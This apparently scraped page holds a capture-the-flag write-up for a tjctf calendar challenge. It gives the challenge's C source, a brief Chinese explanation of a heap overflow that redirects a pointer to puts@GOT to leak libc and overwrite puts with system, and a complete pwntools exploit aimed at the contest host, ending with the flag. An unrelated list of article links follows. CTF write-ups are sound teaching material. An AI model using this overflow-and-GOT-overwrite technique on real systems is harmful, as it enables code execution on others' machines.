}int main() {char inputBuffer[256] = {'\0'};struct eventList events;events.head = malloc(sizeof(struct event));events.head->next = NULL;events.head->time = 0;events.size = 1;setbuf(stdout, NULL);for (int i = 0; i < 2; i++) {puts("Add an event to your calendar:");struct event *cur = events.head;while (cur->next != NULL) {cur = cur->next;}cur->next = malloc(sizeof(struct event));cur->next->next = NULL;cur->next->time = 0;events.size++;printf("Event time? (1-24) ");fgets(inputBuffer, sizeof(inputBuffer), stdin);int t = atoi(inputBuffer);if (t == 0) {free(cur->next);cur->next = NULL;events.size--;printf("Invalid integer: %s\n", inputBuffer);continue;}cur->time = t;printf("Event name? ");fgets(inputBuffer, sizeof(inputBuffer), stdin);inpcpy(cur->name, inputBuffer);displayEvents(&events);}puts("2 events and still couldn't get the flag?");puts("smhmh");puts("just run like...");puts("cat flag.txt");puts("or something like that");return 0;
}

通过写链头块溢出到后边的块,这样修改指针就能得到libc,由于这个结构要求time !=0 并且输出是从+4开始,所以这里指针指到got.puts-3的位置,用尾字节当time,由于这尾字节是固定的,可以直接通过前5字节得到libc,再修改puts 为 system

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./chall')#p = process('./chall')
p = remote('tjc.tf', 31509)p.sendlineafter(b"Event time? (1-24) ", b'1')
p.sendlineafter(b"Event name? ", b'A'*0x84+ p64(0x404005))p.recvuntil(b'3758096384:00 - ') #xxxe0
libc.address = u64(b'\xe0'+p.recv(5)+b'\0\0') - libc.sym['puts']p.sendlineafter(b"Event time? (1-24) ", b'1342177280') #xxx50
p.sendlineafter(b"Event name? ", p64(libc.sym['system'])[1:])p.interactive()
#tjctf{i_h0pe_my_tre3s_ar3nt_b4d_too}

http://www.xdnf.cn/news/13078.html

相关文章:

  • 问题复盘-当前日志组损坏问题
  • 运算符之赋值运算符+运算符之比较运算符
  • ETLCloud可能遇到的问题有哪些?常见坑位解析
  • c# Autorest解析
  • 【AI学习】三、AI算法中的向量
  • 【java】【服务器】线程上下文丢失 是指什么
  • 亚马逊Woot深度解析
  • 【TVM 教程】如何使用 TVM Pass Infra
  • 健康档案实训室:构建全周期健康管理的数据基石
  • python报错 ModuleNotFoundError: No module named ‘Crypto‘
  • Linux下如何使用Curl进行网络请求
  • 主成分分析(PCA)原理与实战:从0到1彻底掌握
  • 智能门锁申请 EN 18031 欧盟网络安全认证指南​
  • 作为测试我们应该关注redis哪些方面
  • 软件开发工程师如何在项目开发中了解学习 ISO 13485
  • AIGC 基础篇 Python基础 03 列表与条件判断
  • DeepSeek越强,Kimi越慌?
  • 【合并通感算】
  • 用户画像建模的7种机器学习方法
  • Rex-Thinker模型的核心思想、亮点和挑战
  • Solidity从入门到精通-Remix的基本使用和Solidity的基本数据类型
  • Java UDP网络通信实战指南
  • 时空网络动力学图谱分析完整解决方案
  • delphi安装SAP控件:SAPFunctionsSAPLogonControl
  • 线程中可见性ABA问题是什么如何解决
  • Redis上篇--知识点总结
  • STM32简易示波器/逻辑分析仪设计指南
  • 用虚拟机安装macos系统之后进入Boot Manager页面
  • Vue 实例的数据对象详解
  • ECS架构之Entity设计与传统OOP的碰撞思考